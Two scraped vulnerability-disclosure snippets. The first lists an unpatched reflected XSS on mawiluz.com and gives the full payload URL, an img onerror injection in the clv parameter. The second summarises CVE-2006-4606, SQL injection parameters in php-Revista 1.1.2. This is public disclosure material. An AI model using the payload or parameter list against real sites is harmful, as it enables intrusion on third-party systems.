mawiluz.com XSS vulnerability

Vulnerable URL: http://www.mawiluz.com/tienda/articulo.php?clv=NVL%27%22%3E%3E%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E=19 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

CVE-2006-4606: Undefined Security Weakness

Multiple SQL injection vulnerabilities in Longino Jacome php-Revista 1.1.2 allow remote attackers to execute arbitrary SQL commands via the 1 idtemas parameter in busquedatema.php, the 2 cadena parameter in busqueda.php, the 3 idautor parameter in autor.php, the 4 email parameter in lista.php, an...